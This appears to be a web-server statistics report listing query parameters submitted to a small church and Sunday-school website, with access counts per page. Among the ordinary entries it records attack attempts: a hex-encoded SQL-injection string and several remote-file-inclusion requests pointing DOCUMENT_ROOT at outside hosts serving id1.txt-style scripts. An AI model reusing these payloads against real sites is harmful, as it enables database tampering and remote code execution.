| Script | Total Accesses |
|---|---|
| /bbs/spellcheck.htm | 58 |
| Parameters by Submitted Value | |
| Parameter | id |
| Value | Accesses |
| scdata_9653462081 | 3 |
| scdata_4014428249 | 3 |
| scdata_6666217596 | 3 |
| scdata_3607843826 | 2 |
| scdata_985358071 | 2 |
| scdata_6007814927 | 2 |
| scdata_5213871054 | 2 |
| scdata_121681686 | 2 |
| scdata_1796863317 | 2 |
| scdata_7535605165 | 1 |
| OTHER: | 36 |
| Script | Total Accesses |
| / | 48 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 1 | |
| Parameter | ';DECLARE @S CHAR(4000);SET @S |
| Value | Accesses |
| CAST(0x4445434C415245204054207661726368617228323535292C40432 076617263686172283430303029204445434C415245205461626C655F437 572736F7220435552534F5220464F522073656C65637420612E6E616D652 C622E6E616D652066726F6D207379736F626A6563747320612C737973636 F6C756D6E732@S); |
1 |
| Parameter | ;DECLARE @S CHAR(4000);SET @S |
| Value | Accesses |
| CAST(0x4445434C415245204054207661726368617228323535292C40432 076617263686172283430303029204445434C415245205461626C655F437 572736F7220435552534F5220464F522073656C65637420612E6E616D652 C622E6E616D652066726F6D207379736F626A6563747320612C737973636 F6C756D6E732@S); |
1 |
| Parameter | DC |
| Value | Accesses |
| 10 | 1 |
| Parameter | DE |
| Value | Accesses |
| 2 | 1 |
| Parameter | DV |
| Value | Accesses |
| 0 | 1 |
| Parameter | GXHC_gx_session_id_FutureTenseContentServer |
| Value | Accesses |
| 074d4e3dba5a635c | 1 |
| Parameter | GXHC_loc_c |
| Value | Accesses |
| BNA | 1 |
| Parameter | LG |
| Value | Accesses |
| any | 1 |
| Parameter | MT |
| Value | Accesses |
| sunday school resource material | 1 |
| OTHER: | 38 |
| Script | Total Accesses |
| /blogs/ | 11 |
| Parameters by Submitted Value | |
| Parameter | _start |
| Value | Accesses |
| 81 | 3 |
| 11 | 3 |
| 21 | 2 |
| 41 | 2 |
| 61 | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /blogs/index.shtml | 10 |
| Parameters by Submitted Value | |
| 11 | 5 |
| 21 | 2 |
| 1 | 1 |
| 61 | 1 |
| 31 | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /content/vbs.htm | 9 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 1 |
| Parameter | id |
| Value | Accesses |
| 63.162.43.25 | 2 |
| 63.80.62.153 | 1 |
| 205.188.193.38 | 1 |
| 206.158.213.160 | 1 |
| 63.252.100.25 | 1 |
| 209.74.140.221 | 1 |
| 209.248.33.190 | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /news/ | 8 |
| Parameters by Submitted Value | |
| Parameter | D |
| Value | Accesses |
| D | 1 |
| OTHER: | 7 |
| Script | Total Accesses |
| /links/links.htm | 8 |
| Parameters by Submitted Value | |
| Parameter | KEY |
| Value | Accesses |
| STifles | 2 |
| OTHER: | 6 |
| Script | Total Accesses |
| /news/ | 8 |
| Parameters by Submitted Value | |
| Parameter | S |
| Value | Accesses |
| A | 1 |
| OTHER: | 7 |
| Script | Total Accesses |
| /links/links.htm | 8 |
| Parameters by Submitted Value | |
| Parameter | section |
| Value | Accesses |
| Miscellaneous | 2 |
| Parameter | title |
| Value | Accesses |
| test | 1 |
| OTHER: | 5 |
| Script | Total Accesses |
| /children/ | 8 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 2 |
| OTHER: | 6 |
| Script | Total Accesses |
| /children/TriviaQuiz.htm | 8 |
| Parameters by Submitted Value | |
| Parameter | counter |
| Value | Accesses |
| 1 | 4 |
| Parameter | proceed |
| Value | Accesses |
| 1 | 4 |
| OTHER: | 0 |
| Script | Total Accesses |
| /news/ | 8 |
| Parameters by Submitted Value | |
| Parameter | M |
| Value | Accesses |
| D | 1 |
| OTHER: | 7 |
| Script | Total Accesses |
| /links/links.htm | 8 |
| Parameters by Submitted Value | |
| Parameter | title |
| Value | Accesses |
| 1 | |
| OTHER: | 7 |
| Script | Total Accesses |
| /news/ | 8 |
| Parameters by Submitted Value | |
| Parameter | S |
| Value | Accesses |
| D | 1 |
| OTHER: | 7 |
| Script | Total Accesses |
| /children/ | 8 |
| Parameters by Submitted Value | |
| Parameter | sstqv |
| Value | Accesses |
| ditto | 4 |
| OTHER: | 4 |
| Script | Total Accesses |
| /news/ | 8 |
| Parameters by Submitted Value | |
| Parameter | M |
| Value | Accesses |
| A | 3 |
| OTHER: | 5 |
| Script | Total Accesses |
| /links/links.htm | 8 |
| Parameters by Submitted Value | |
| Parameter | url |
| Value | Accesses |
| 2 | |
| OTHER: | 6 |
| Script | Total Accesses |
| /news/ | 8 |
| Parameters by Submitted Value | |
| Parameter | N |
| Value | Accesses |
| D | 1 |
| OTHER: | 7 |
| Script | Total Accesses |
| /children/ | 8 |
| Parameters by Submitted Value | |
| Parameter | id |
| Value | Accesses |
| 206.190.28.100 | 1 |
| 1962755 | 1 |
| OTHER: | 6 |
| Script | Total Accesses |
| /JBC/ | 7 |
| Parameters by Submitted Value | |
| Parameter | D |
| Value | Accesses |
| A | 1 |
| Parameter | M |
| Value | Accesses |
| A | 2 |
| Parameter | N |
| Value | Accesses |
| A | 2 |
| Parameter | S |
| Value | Accesses |
| D | 1 |
| A | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| //// | 3 |
| Parameters by Submitted Value | |
| Parameter | _SERVER[DOCUMENT_ROOT] |
| Value | Accesses |
| http://www.jjdd.co.kr/nalog/plug_in_config/pro/id1??? | 2 |
| OTHER: | 1 |
| Script | Total Accesses |
| /kids/DD | 3 |
| Parameters by Submitted Value | |
| Parameter | Naaman.htm |
| Value | Accesses |
| 3 | |
| OTHER: | 0 |
| Script | Total Accesses |
| /content/VBS_Ideas.htm | 3 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 1 |
| OTHER: | 2 |
| Script | Total Accesses |
| /content/ | 3 |
| Parameters by Submitted Value | |
| Parameter | id |
| Value | Accesses |
| 216.80.146.196 | 3 |
| OTHER: | 0 |
| Script | Total Accesses |
| /content/VBS_Ideas.htm | 3 |
| Parameters by Submitted Value | |
| Parameter | GXHC_loc_c |
| Value | Accesses |
| SDF | 2 |
| OTHER: | 1 |
| Script | Total Accesses |
| //// | 3 |
| Parameters by Submitted Value | |
| Parameter | _SERVER[DOCUMENT_ROOT] |
| Value | Accesses |
| http://iad4151.co.kr/ace_del/id1.txt??? | 1 |
| OTHER: | 2 |
| Script | Total Accesses |
| /vbs/vbs.htm | 2 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 2 |
| OTHER: | 0 |
| Script | Total Accesses |
| /JBC | 2 |
| Parameters by Submitted Value | |
| Parameter | M |
| Value | Accesses |
| A | 2 |
| OTHER: | 0 |
| Script | Total Accesses |
| /content/qual_ss.pdf | 2 |
| Parameters by Submitted Value | |
| Parameter | Cache |
| Value | Accesses |
| 2 | |
| OTHER: | 0 |
| Script | Total Accesses |
| /content/ssdir.htm | 2 |
| Parameters by Submitted Value | |
| Parameter | o |
| Value | Accesses |
| 0 | 2 |
| OTHER: | 0 |
| Script | Total Accesses |
| /SS_Teacher/SS_Teacher.PPT | 1 |
| Parameters by Submitted Value | |
| Parameter | Cache |
| Value | Accesses |
| 1 | |
| OTHER: | 0 |
| Script | Total Accesses |
| /// | 1 |
| Parameters by Submitted Value | |
| Parameter | _SERVER[DOCUMENT_ROOT] |
| Value | Accesses |
| http://numed.fileave.com/zfxid1.txt? | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /vbs/VBS_Ideas.htm | 1 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /software/church.pdf | 1 |
| Parameters by Submitted Value | |
| Parameter | Cache |
| Value | Accesses |
| 1 | |
| OTHER: | 0 |
| Script | Total Accesses |
| /kids/fun.htm | 1 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /kids/ | 1 |
| Parameters by Submitted Value | |
| iwm | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /bbs/wwwboard.htm | 1 |
| Parameters by Submitted Value | |
| Parameter | bcsi_scan_B140EB4505B1EC7F |
| Value | Accesses |
| 5nyDhLPWb76a3GiEbrUDhgEAAADbhLsA | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /counter/counter.cgi | 1 |
| Parameters by Submitted Value | |
| Parameter | CounterDataFile |
| Value | Accesses |
| 1 | |
| OTHER: | 0 |
| Script | Total Accesses |
| // | 1 |
| Parameters by Submitted Value | |
| Parameter | _SERVER[DOCUMENT_ROOT] |
| Value | Accesses |
| http://j0e2.fileave.com/zfxid1.txt? | 1 |
| OTHER: | 0 |
| Script | Total Accesses |
| /Team_95/sld004.htm | 1 |
| Parameters by Submitted Value | |
| Parameter | clkd |
| Value | Accesses |
| iwm | 1 |
| OTHER: | 0 |